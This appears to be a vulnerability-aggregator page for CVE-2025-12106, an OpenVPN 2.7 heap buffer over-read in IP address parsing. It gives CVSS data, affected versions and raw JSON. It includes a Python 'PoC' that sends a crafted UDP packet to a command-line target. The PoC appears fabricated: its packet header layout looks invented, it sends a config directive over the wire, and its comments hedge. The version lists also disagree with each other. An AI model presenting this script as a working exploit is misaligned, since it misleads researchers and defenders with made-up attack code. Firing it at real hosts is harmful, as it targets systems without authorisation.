Security Vulnerability Report
中文
CVE-2025-12106 CVSS 9.1 CRITICAL

CVE-2025-12106

Published: 2025-12-01 13:16:00
Last Modified: 2025-12-30 14:52:07

Description

Insufficient argument validation in OpenVPN 2.7_alpha1 through 2.7_rc1 allows an attacker to trigger a heap buffer over-read when parsing IP addresses

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:openvpn:openvpn:2.6.13:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:openvpn:openvpn:2.7:alpha1:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:openvpn:openvpn:2.7:alpha2:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:openvpn:openvpn:2.7:alpha3:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:openvpn:openvpn:2.7:beta1:*:*:community:*:*:* - VULNERABLE
OpenVPN 2.7_alpha1
OpenVPN 2.7_alpha2
OpenVPN 2.7_alpha3
OpenVPN 2.7_alpha4
OpenVPN 2.7_beta1
OpenVPN 2.7_beta2
OpenVPN 2.7_rc1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12106 PoC - OpenVPN Heap Buffer Over-Read # This PoC demonstrates the vulnerability in IP address parsing import socket import struct def create_malformed_ip_packet(): """ Create a malformed packet that triggers heap buffer over-read in OpenVPN IP address parsing (versions 2.7_alpha1 to 2.7_rc1) """ # IPv6 address with unusual format that triggers over-read # The parser may read beyond allocated buffer when processing # this address format malicious_ipv6 = "2001:db8::1:" + "x" * 100 + ":80" # Construct OpenVPN packet with malicious IP packet = bytearray() # OpenVPN header packet.extend(b'\x00\x00\x00\x00') # Session ID packet.extend(b'\x00\x01') # Packet ID packet.extend(b'\x00') # Flags # Malicious payload with IP address payload = f"remote {malicious_ipv6} 1194\n".encode() packet.extend(struct.pack('>H', len(payload))) # Length packet.extend(payload) return bytes(packet) def exploit(target_ip, target_port=1194): """ Send malicious packet to trigger the vulnerability """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_malformed_ip_packet() try: sock.sendto(packet, (target_ip, target_port)) print(f"[+] Malicious packet sent to {target_ip}:{target_port}") print(f"[+] Packet size: {len(packet)} bytes") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] exploit(target) else: print("Usage: python cve-2025-12106-poc.py <target_ip>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12106", "sourceIdentifier": "[email protected]", "published": "2025-12-01T13:16:00.070", "lastModified": "2025-12-30T14:52:06.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient argument validation in OpenVPN 2.7_alpha1 through 2.7_rc1 allows an attacker to trigger a heap buffer over-read when parsing IP addresses"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-126"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.6.13:*:*:*:community:*:*:*", "matchCriteriaId": "0D9B6BB8-806A-4FA0-B86D-F30C97841C63"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.7:alpha1:*:*:community:*:*:*", "matchCriteriaId": "474A2F74-9D40-437D-B71A-43A8A26C2A55"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.7:alpha2:*:*:community:*:*:*", "matchCriteriaId": "1F5B810E-3614-4332-9281-B2AA28BD9403"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.7:alpha3:*:*:community:*:*:*", "matchCriteriaId": "2A423301-191A-4578-B824-22024A225C1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.7:beta1:*:*:community:*:*:*", "matchCriteriaId": "537BC1B1-7E25-48A0-9750-443E6774FD97"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.7:beta2:*:*:community:*:*:*", "matchCriteriaId": "387E2C7F-C16A-49FA-827B-642BA760320D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.7:beta3:*:*:community:*:*:*", "matchCriteriaId": "183C57B8-5F1E-44E8-8B8A-5FBCDB926F21"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.7:rc1:*:*:community:*:*:*", "matchCriteriaId": "113A4E81-FF15-4E70-8DE5-E82AA3FB1D79"}]}]}], "references": [{"url": "https://community.openvpn.net/Security%20Announcements/CVE-2025-12106", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mail-archive.com/[email protected]/msg00152.html", "source": "[email protected]", "tags": ["Mailing List"]}]}}